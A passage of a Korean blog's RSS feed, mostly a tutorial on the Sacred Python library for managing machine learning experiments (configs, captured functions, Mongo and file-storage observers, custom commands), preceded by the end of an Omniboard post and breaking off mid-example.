&lt;li&gt;Run Info&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/czLqMU/btqCn0i1sEj/RFELyWCHXku3IniKU5kaR0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/czLqMU/btqCn0i1sEj/RFELyWCHXku3IniKU5kaR0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/czLqMU/btqCn0i1sEj/RFELyWCHXku3IniKU5kaR0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FczLqMU%2FbtqCn0i1sEj%2FRFELyWCHXku3IniKU5kaR0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Aritifacts&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bodFvb/btqCoR7evIe/Ru1ukB68VyiIl9wymZZdT0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bodFvb/btqCoR7evIe/Ru1ukB68VyiIl9wymZZdT0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bodFvb/btqCoR7evIe/Ru1ukB68VyiIl9wymZZdT0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbodFvb%2FbtqCoR7evIe%2FRu1ukB68VyiIl9wymZZdT0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Source Files&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DlGih/btqCkPCswc3/Q1lXhqQJrHNAnWrk9m7Ln0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DlGih/btqCkPCswc3/Q1lXhqQJrHNAnWrk9m7Ln0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DlGih/btqCkPCswc3/Q1lXhqQJrHNAnWrk9m7Ln0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDlGih%2FbtqCkPCswc3%2FQ1lXhqQJrHNAnWrk9m7Ln0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;li&gt;Config&lt;br /&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cuqWKa/btqCoR0qZLo/7nNEvj9CwxMQSa8DPF4SY0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cuqWKa/btqCoR0qZLo/7nNEvj9CwxMQSa8DPF4SY0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cuqWKa/btqCoR0qZLo/7nNEvj9CwxMQSa8DPF4SY0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcuqWKa%2FbtqCoR0qZLo%2F7nNEvj9CwxMQSa8DPF4SY0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;참고문서&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/vivekratnavel/omniboard&quot;&gt;Omniboard 공식 github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://vivekratnavel.github.io/omniboard/#/&quot;&gt;Omniboard 공식 github.io&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/chris-chris/mlops-example&quot;&gt;송호연님 github&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description>
      <category>AI&amp;amp;BigData/MLOps</category>
      <category>machine learning experiment tool</category>
      <category>omniboard</category>
      <category>python sacred</category>
      <category>SACRED</category>
      <category>sacred 대시보드</category>
      <category>sacred+omniboard</category>
      <category>머신러닝 실험관리도구</category>
      <author>eunguru</author>
      <guid isPermaLink="true">https://eunguru.tistory.com/240</guid>
      <comments>https://eunguru.tistory.com/240#entry240comment</comments>
      <pubDate>Sun, 1 Mar 2020 22:11:38 +0900</pubDate>
    </item>
    <item>
      <title>Sacred - 머신러닝 실험관리 도구</title>
      <link>https://eunguru.tistory.com/239</link>
      <description>&lt;h1&gt;Sacred&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Sacred: 실험의 설정, 조직화, 로그, 재생성을 도와주는 도구&lt;ul&gt;
&lt;li&gt;실험의 모든 파라미터 추적&lt;/li&gt;
&lt;li&gt;다른 설정들을 쉽게 실험할 수 있음&lt;/li&gt;
&lt;li&gt;개별 실행의 설정들을 데이터베이스에 저장&lt;/li&gt;
&lt;li&gt;결과를 재생성&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Sacred의 주요 메커니즘&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;ConfigScopes&lt;/strong&gt;: 함수의 local 변수를 편리하게 다룰 수 있음, &lt;code&gt;@ex.config&lt;/code&gt; 데코레이터 사용&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Config Injection&lt;/strong&gt;: 설정 함수의 모든 파라미터에 접근 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Command-line interface&lt;/strong&gt;: 파라미터들을 변경하거나 다른 변형을 실행하는데 파워풀한 커맨드라인 인터페이스를 획득 가능&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Observers&lt;/strong&gt;: 실험의 모든 정보들, 의존성, 사용하는 설정, 실행한 기기, 과정 결과를 기록하여 Observer에 제공, Mongo DB에 저장&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Automatic seeding&lt;/strong&gt;: 실험에서 무작위로 제어하는 것을 도와줌&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Hello World&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;@ex.automain&lt;/code&gt; 데코레이트&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;ex.automain(my_main()) 같은 의미&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;@ex.main&lt;/code&gt;대신 &lt;code&gt;@ex.automain&lt;/code&gt;을 사용하는 것을 추천&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;파일을 실행하면 실험을 자동으로 실행 해줌&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;@ex.automain&lt;/code&gt;이 작동 하려면 파일의 끝에 함수가 있어야 함, 그렇지 않으면 실험에 포함되지 않음&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred import Experiment

  # create experiment instance
  ex = Experiment()

  # decorate
  @ex.automain
  def my_main():
      print(&amp;quot;Hello world&amp;quot;)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;출력결과&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;_2020-02-14__4.28.39.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;114&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbKt0T/btqCaTwXMeH/XZoMfZblgkcGTYdLKTg5oK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbKt0T/btqCaTwXMeH/XZoMfZblgkcGTYdLKTg5oK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbKt0T/btqCaTwXMeH/XZoMfZblgkcGTYdLKTg5oK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbKt0T%2FbtqCaTwXMeH%2FXZoMfZblgkcGTYdLKTg5oK%2Fimg.png&quot; data-filename=&quot;_2020-02-14__4.28.39.png&quot; data-origin-width=&quot;654&quot; data-origin-height=&quot;114&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;First Configuration&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;first_config.py로 작성&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;설정: &lt;code&gt;@ex.config&lt;/code&gt; 데코레이터 추가&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;config함수 내에서 message변수 추가&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;main함수에서 &amp;quot;Hello world&amp;quot;대신 message 파라미터 추가&lt;/p&gt;
&lt;p&gt;from sacred import Experiment&lt;/p&gt;
&lt;p&gt;ex = Experiment(&amp;#39;hello_config&amp;#39;)&lt;/p&gt;
&lt;p&gt;@ex.config&lt;br&gt;def my_config():&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  recipient = &amp;quot;world&amp;quot;
  message = &amp;quot;Hello %s!&amp;quot; % recipient&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;@ex.automain&lt;br&gt;def my_main(message):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  print(message)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;실행 결과&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;실험 이름 지정: Experiment(&amp;#39;실험이름&amp;#39;)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;실행 인자와 같이 실행하는 경우 실행할 때마다 seed값 변경&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-filename=&quot;_2020-02-13__6.01.33.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;325&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgHLDY/btqB9Xs28lk/vpMMEbLJp3R5FFBDnoqnGk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgHLDY/btqB9Xs28lk/vpMMEbLJp3R5FFBDnoqnGk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgHLDY/btqB9Xs28lk/vpMMEbLJp3R5FFBDnoqnGk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgHLDY%2FbtqB9Xs28lk%2FvpMMEbLJp3R5FFBDnoqnGk%2Fimg.png&quot; data-filename=&quot;_2020-02-13__6.01.33.png&quot; data-origin-width=&quot;700&quot; data-origin-height=&quot;325&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Command-Line 인터페이스를 이용한 configuration 업데이트&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;with config=update&lt;/code&gt;형식으로 입력하여 실행&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;해당 config가 지속되지 않음&lt;br&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dIK6kL/btqB7PbViq5/t5zVdO6haALkUXF22k1BFk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dIK6kL/btqB7PbViq5/t5zVdO6haALkUXF22k1BFk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dIK6kL/btqB7PbViq5/t5zVdO6haALkUXF22k1BFk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdIK6kL%2FbtqB7PbViq5%2Ft5zVdO6haALkUXF22k1BFk%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Experiment 실행&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;실행방법&lt;ol&gt;
&lt;li&gt;&lt;code&gt;@ex.automain&lt;/code&gt; 사용&lt;/li&gt;
&lt;li&gt;파이썬에서 직접 실행: run함수 호출&lt;ul&gt;
&lt;li&gt;first_config.py에서 Experiment 생성&lt;/li&gt;
&lt;li&gt;first_config.py를 가져옴&lt;/li&gt;
&lt;li&gt;run()함수 호출하여 실행&lt;ul&gt;
&lt;li&gt;run()함수 호출 시 &lt;code&gt;config_updates&lt;/code&gt;로 config값 조정 가능&lt;/li&gt;
&lt;li&gt;JSON 직렬화(숫자, 문자열, 리스트, 튜플, 사전) 가능한 변수로 지정&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLCR0y/btqB7PXfpfA/AumiHIl93ocdmrFnCwZCu0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLCR0y/btqB7PXfpfA/AumiHIl93ocdmrFnCwZCu0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLCR0y/btqB7PXfpfA/AumiHIl93ocdmrFnCwZCu0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLCR0y%2FbtqB7PXfpfA%2FAumiHIl93ocdmrFnCwZCu0%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;jupyter notebook에서 실행하기 위해서는&lt;ul&gt;
&lt;li&gt;Experimnet 객체 생성 시 &lt;code&gt;interactive=True&lt;/code&gt;로 파라미터 전달 필요&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@ex.main&lt;/code&gt; 대신 &lt;code&gt;@ex.automain&lt;/code&gt; 사용&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Caputure 함수&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Capture 함수에서 config 함수의 모든 설정 값들을 파라미터로 접근 가능&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Capture 함수를 호출할 때마다 누락된 파라미터를 자동으로 채우려고 시도함&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Config함수에서 지정한 파라미터가 기본 파라미터 보다 우선시 됨&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred import Experiment

  ex = Experiment()

  @ex.config
  def my_config():
      foo = 42
      bar = &amp;#39;baz&amp;#39;

  @ex.capture
  def some_function(a, foo, bar=10):
      print(&amp;quot;a={}, foo={}, bar={}&amp;quot;.format(a, foo, bar))

  @ex.automain
  def my_main():
      some_function(1, 2, 3)
      some_function(1)
      some_function(1, bar=12)
      some_function()             # error&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;결과&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqyyXc/btqB7PC1wRQ/5oRpjWHlH66kkunk9zaQok/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqyyXc/btqB7PC1wRQ/5oRpjWHlH66kkunk9zaQok/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqyyXc/btqB7PC1wRQ/5oRpjWHlH66kkunk9zaQok/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqyyXc%2FbtqB7PC1wRQ%2F5oRpjWHlH66kkunk9zaQok%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Experiment 관찰하기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;수집하는 정보들&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;시간: 시작 시간, 정지 시간&lt;/li&gt;
&lt;li&gt;사용된 설정&lt;/li&gt;
&lt;li&gt;결과나 발생한 에러&lt;/li&gt;
&lt;li&gt;실행되는 머신들의 정보&lt;/li&gt;
&lt;li&gt;실험에 의존성이 있는 패키지와 버전&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ex.open_resource&lt;/code&gt;로 열려진 파일들&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ex.add_artifact&lt;/code&gt;로 추가된 파일들&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;Observer 인터페이스를 사용하여 정보들에 접근&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Observer 종류&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Mongo Observer&lt;/code&gt;: MongoDB에 모든 저장&lt;/li&gt;
&lt;li&gt;&lt;code&gt;File Storage Observer&lt;/code&gt;: 로컬파일로 저장&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TinyDB Observer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;SQL Observer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;S3 Observer&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Queue Observer&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MongoObserver&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;Sacred에서 사용하는 observer들 중에 하나&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MongoDB에 연결하고 수집된 모든 정보들을 문서에 저장&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MongoObserver&lt;/code&gt; 코드를 통해 추가&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred.observers import MongoObserver

  ex.observers.append(MongoObserver())&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;MongoObserver&lt;/code&gt; 커맨드라인, 플래그를 통해 추가&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;      python 파일명 -m HOST:PORT:DB이름&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;테스트 소스&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred import Experiment
  from sacred.observers import MongoObserver

  ex = Experiment(&amp;#39;hello_config&amp;#39;)
  ex.observers.append(MongoObserver(url=&amp;#39;localhost:27017&amp;#39;, 
                                  db_name=&amp;#39;MY_DB&amp;#39;))

  @ex.config
  def my_config():
      recipient = &amp;quot;world&amp;quot;
      message = &amp;quot;Hello %s!&amp;quot; % recipient

  @ex.automain
  def my_main(message):
      print(message)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;MongoDB 저장 결과&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EIblk/btqCaSSk9MV/Ragn8A5apjGjwzRObR06gK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EIblk/btqCaSSk9MV/Ragn8A5apjGjwzRObR06gK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EIblk/btqCaSSk9MV/Ragn8A5apjGjwzRObR06gK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEIblk%2FbtqCaSSk9MV%2FRagn8A5apjGjwzRObR06gK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;File Storage Observer&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;데이터베이스 설정이 어렵거나 불가능한 예비 실험 및 사례를 위한 것&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;FileStorageObserver&lt;/code&gt; 코드를 통해 추가&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred.observers import FileStorageObserver

  ex.observers.append(FileStorageObserver.create(&amp;#39;my_runs&amp;#39;))&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;FileStorageObserver&lt;/code&gt; 커맨드라인, 플래그를 통해 추가&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  python 파일명 -F BASEDIR
  python 파일명 --file_storage=BASEDIR&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;테스트 소스코드&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred import Experiment
  from sacred.observers import FileStorageObserver

  ex = Experiment(&amp;#39;hello config&amp;#39;)
  ex.observers.append(FileStorageObserver.create(&amp;#39;my_runs&amp;#39;))

  @ex.config
  def my_config():
      recipient = &amp;quot;world&amp;quot;
      message = &amp;quot;Hello %s!&amp;quot; % recipient

  @ex.automain
  def my_main(message):
      print(message)&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;실행결과 및 생성 디렉토리 구조&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6ctpH/btqCafUz098/sdd9Uc53swYK2tJqEKOcVK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6ctpH/btqCafUz098/sdd9Uc53swYK2tJqEKOcVK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6ctpH/btqCafUz098/sdd9Uc53swYK2tJqEKOcVK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6ctpH%2FbtqCafUz098%2Fsdd9Uc53swYK2tJqEKOcVK%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;실행할 때마다 몇개의 서브 디렉토리를 생성, 내부에 파일 생성&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;config.json&lt;/code&gt;: 설정 값 포함&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;count.txt&lt;/code&gt;: 캡쳐 아웃풋 포함&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;run.json&lt;/code&gt;: 주요정보들 저장&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xWTpi/btqCbhj3XBv/l0HJIMmqLUdQvBcAUrhd31/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xWTpi/btqCbhj3XBv/l0HJIMmqLUdQvBcAUrhd31/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xWTpi/btqCbhj3XBv/l0HJIMmqLUdQvBcAUrhd31/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxWTpi%2FbtqCbhj3XBv%2Fl0HJIMmqLUdQvBcAUrhd31%2Fimg.png&quot; width=&quot;100%&quot; data-origin-width=&quot;0&quot; data-origin-height=&quot;0&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;My Commands&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;code&gt;@ex.command&lt;/code&gt; 데코레이터를 이용해서 추가적인 커맨드 추가 가능&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;  from sacred import Experiment

  ex = Experiment(&amp;quot;my_commands&amp;quot;)

  @ex.config
  def cfg():
      name = &amp;quot;John&amp;quot;

  @ex.command
  def greet(name):
      print(&amp;quot;Hello {}! Nice to greet you!&amp;quot;.format(name))

  @ex.command
  def shout():
